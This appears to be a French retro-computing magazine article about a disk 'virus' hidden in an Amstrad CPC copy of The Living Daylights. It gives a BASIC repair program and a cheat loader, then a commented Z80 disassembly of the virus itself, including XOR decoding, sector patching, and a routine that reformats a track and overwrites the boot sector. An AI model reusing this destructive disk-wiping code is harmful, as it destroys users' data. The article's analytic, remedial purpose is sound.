

# Programme antidote (premier listing)

Lancez ce programme et suivez les instructions ; le secteur détruit de votre disquette sera miraculeusement restitué.

```
10 *****
20 * Antidote du virus de *
30 * de *
40 * THE LIVING DAYLIGHTS *
50 *****
60 FOR A=&1000 TO &2000:READ B$:IF B$="FIN"
  THEN GOTO 80
70 C=VAL("&"+B$):POKE A,C:SUM=SUM+C:NEXT A
80 IF SUM<>&61E9 THEN PRINT CHR$(7);"ERREUR
  DANS LES DATAS !!!":END
90 PRINT "INTRODUISEZ LE DISQUE INFECTE DE
  THE":PRINT "LIVING DAYLIGHTS ET APPUYEZ SUR
  G (=Go)"
100 A$=UPPER$(INKEY$):IF A$="" OR A$<>"G" T
  HEN GOTO 100
110 CALL &1000
120 PRINT :PRINT CHR$(7);"DISQUETTE SOIGNEE
  "
130 DATA 21,11,10,11,00,12,0E,00,DF,0E,10,C
  3,35,10,52,C6,07,54,00,00,02,48,00,05,02,45
  ,00,01,02,53,00,06,02,4C,00,02,02,41,00,07,
  02,59,00,03,02,45,00,08,02,52,00,04,02,21,4
  4,10,11,00,00,0E,41,DF,41,10,C9,4E,C6,07,21
  ,08,01,0E,07,CD,16,BD,21,66,C6,22,00,BF
140 DATA 3E,07,32,02,BF,3E,02,32,03,BF,AF,3
  2,04,BF,32,05,BF,CD,C8,BC,21,FF,B0,0E,07,CD
  ,CE,BC,3E,00,CD,0E,BC,01,01,01,CD,38,BC,21,
  48,01,3E,10,3D,FE,00,28,1C,46,4E,F5,E5,CD,3
  2,BC,E1,F1,23,18,EF,0F,0E,0D,0C,02,0A,09,08
  ,07,06,13,03,04,00,1A,01,3E,0E,CD,E4,8B
150 DATA 3E,01,CD,DE,BB,21,73,01,11,00,A7,0
  1,00,01,ED,B0,C3,00,A7,3A,04,BF,B7,CA,4A,A7
  ,3D,87,87,6F,26,00,11,00,BB,19,E5,3A,05,BF,
  AE,67,3A,04,BF,4F,3A,03,BF,57,AF,6F,5F,DF,0
  0,BF,3A,04,BF,3C,32,04,BF,FE,09,C2,35,A7,AF
  ,32,04,BF,E1,3A,05,BF,4F,23,7E,A9,5F,23
160 DATA 7E,A9,57,23,7E,A9,32,05,BF,EB,E9,3
  A,03,BF,3C,32,03,BF,57,AF,6F,5F,4F,26,BB,DF
  ,00,BF,3A,00,BB,FE,E5,CA,00,A7,3E,01,32,04,
  BF,C3,00,A7,00,00,53,54,55,4D,50,49,48,20,4
  C,4F,41,44,45,52,FIN
```

## ***“Vrai” programme d’invincibilité (second listing)***

Tapez et sauvegardez ce programme. Pour obtenir l’invincibilité et le choix du tableau de départ, chargez-le, glissez la disquette du jeu *The Living Daylights* (après l’avoir déprotégée) dans le lecteur de disquette, faites RUN et suivez les instructions.

```
10 *****
20 *      Invincibilite      *
30 *          sur          *
40 * THE LIVING DAYLIGHTS *
50 *****
60 FOR A=&9000 TO &9200:READ B$:IF B$="FIN"
   THEN GOTO 80
70 C=VAL("&"+B$):POKE A,C:SUM=SUM+C:NEXT A
80 IF SUM<>&134C THEN PRINT CHR$(7);"ERREUR"
```

```

DANS LES DATAS !!!":END
90 INPUT "INVINCIBILITE (O/N) ";A$:A$=UPPER
$(A$);IF A$="N" THEN POKE &900B,&77
100 INPUT "LEVEL DE DEPART (1-8) ";A:IF A<1
OR A>8 THEN GOTO 100 ELSE POKE &901B,A-1
110 PRINT "INSERE LE DISC 007 ET PRESSE UNE
TOUCHE":CALL &BB18
120 CALL &9000:ICPM
130 DATA 16,09,0E,05,CD,27,90,3E,00,32,ED,8
0,16,09,0E,05,CD,33,90,16,07,0E,02,CD,27,90
,3E,00,32,27,81,16,07,0E,02,CD,33,90,C9,1E,
00,21,00,80,DF,30,90,C9,66,C6,07,1E,00,21,0
0,80,DF,3C,90,C9,4E,C6,07,FIN

```

# Listing source commenté du virus crétin (troisième listing)

A l'attention des fêrus de l'assembleur,  
l'exégèse de l'infection.

*P.S. Pour l'article ainsi suscité, l'auteur  
du virus aurait mérité une substantielle  
gratification. Dommage qu'il n'ait pas  
précisé son adresse...*

```

LD HL,#900C ; petit programme qui decode le reste
LD B,#89 ; du virus en xrant chacun des octets
R9005 LD A,(HL) ; avec la valeur #7a de l'adresse #900c
XOR #7A ; jusqu'a l'adresse #90c5
LD (HL),A
INC HL
DJNZ R9005
LD D,#11 ; chargement de la piste #11
LD C,#05 ; secteur #05
CALL W9057
LD A,(#3000) ; a=compteur
CP #06 ; si a=6,
RET Z ; le programme retourne sous basic
CP #04 ; si a=4,
JR Z,R907D ; le sous-programme de virus est lance
CP #E5 ; si a=#e5,
JR NZ,R9025 ; le secteur n'a pas bien ete lu
XOR A ; compteur=0
LD (#3000),A ; compteur sauvegarde
R9025 LD HL,#3000
INC (HL) ; compteur augmente d'un
LD D,#11 ; et sauve sur la piste #11
LD C,#05 ; secteur #5
CALL W9063
LD D,#09 ; la piste #9
LD C,#05 ; secteur #5 est chargee
CALL W9057
LD A,#00 ; la valeur qui permet l'invincibilite
LD (#30ED),A ; est changee
LD D,#09 ; la piste #9
LD C,#05 ; secteur #5 est resauvegardee
CALL W9063
LD D,#07 ; la piste #7
LD C,#02 ; secteur #2 est aussi chargee
CALL W9057
LD A,#00 ; changement de la valeur
LD (#3127),A ; qui choisit le tableau de depart
LD D,#07 ; sauvegarde de la piste #7
LD C,#02 ; secteur #2
CALL W9063
RET ; le programme rend la main sous basic

```

```

LD E,#00 ; sous-programme de chargement
LD HL,#8000 ; a partir de l'adresse #8000
RST #18 ; du secteur de la piste demande
LD H,B
SUB B
RET
LD H,(HL)
ADD A,#07
LD E,#00 ; sous-programme de sauvegarde
LD HL,#8000 ; de ce qu'il y a a partir de #8000
RST #18 ; sur le secteur de la piste demande
LD L,H
SUB B
RET
LD C,(HL)
ADD A,#07
LD E,#00 ; sous-programme de virus
LD D,#12 ; qui reformate la piste #12
LD HL,#8B00 ; n'importe comment
RST #18
LD A,D
SUB 8
RET
LD D,D
ADD A,#07

```

```

R907D LD D,#00 ; debut du sous-programme de virus
LD C,#41 ; qui charge la piste #0 secteur #41
CALL W9057 ; (secteur de lancement par 0cpa)
LD HL,#8000
LD B,#FF
R9089 LD A,(HL)
XOR #27
LD (HL),A
INC HL
DJNZ R9089
LD D,#11
LD C,#05
CALL W9063
LD D,#07
LD C,#02
CALL W9057
LD HL,#90B4 ; le sous-programme d'affichage
LD DE,#8000 ; du message est mis a partir de #8000
LD BC,#53
LDIR
LD D,#00 ; puis sauvegarde sur la piste #0
LD C,#41 ; secteur #41
CALL W9063
CALL W906F ; saut au sous-programme de formatage
RET ; le programme rend la main au basic
LD HL,#111 ; debut du sous-programme d'ecriture
LD B,#41 ; du message sur l'ecran
R90B9 LD A,(HL)
XOR #27
CALL #B85A
INC HL
DJNZ R90B9
DI
R90C3 JR R90C3
INC HL ; debut du message

```

LD H,#3B	LD HL,(#6E71)	LD L,B
INC L	LD (HL),C	LD L,C
JR NZ,#9131	LD H,D	LD (HL),H
LD L,D	RLCA	LD H,D
LD A,(BC)	LD H,(HL)	LD (HL),L
LD L,D	LD L,D	LD (HL),C
LD H,(HL)	LD (HL),H	LD H,D
LD H,B	LD (HL),E	LD A,L
RLCA	LD (HL),L	RLCA
LD H,H	LD H,(HL)	LD H,H
NOP	LD H,E	LD H,D
LD H,D	RLCA	RLCA
LD (HL),H	LD D,#17	LD H,E
LD (HL),E	RLA	LD L,(HL)
RLCA	RLCA	LD (HL),H
LD L,C	LD (BC),A	LD L,H
LD (HL),D	JR C,#911D	ADD HL,BC
LD L,E	INC (HL)	ADD HL,BC
JR C,R910B	LD H,H	ADD HL,BC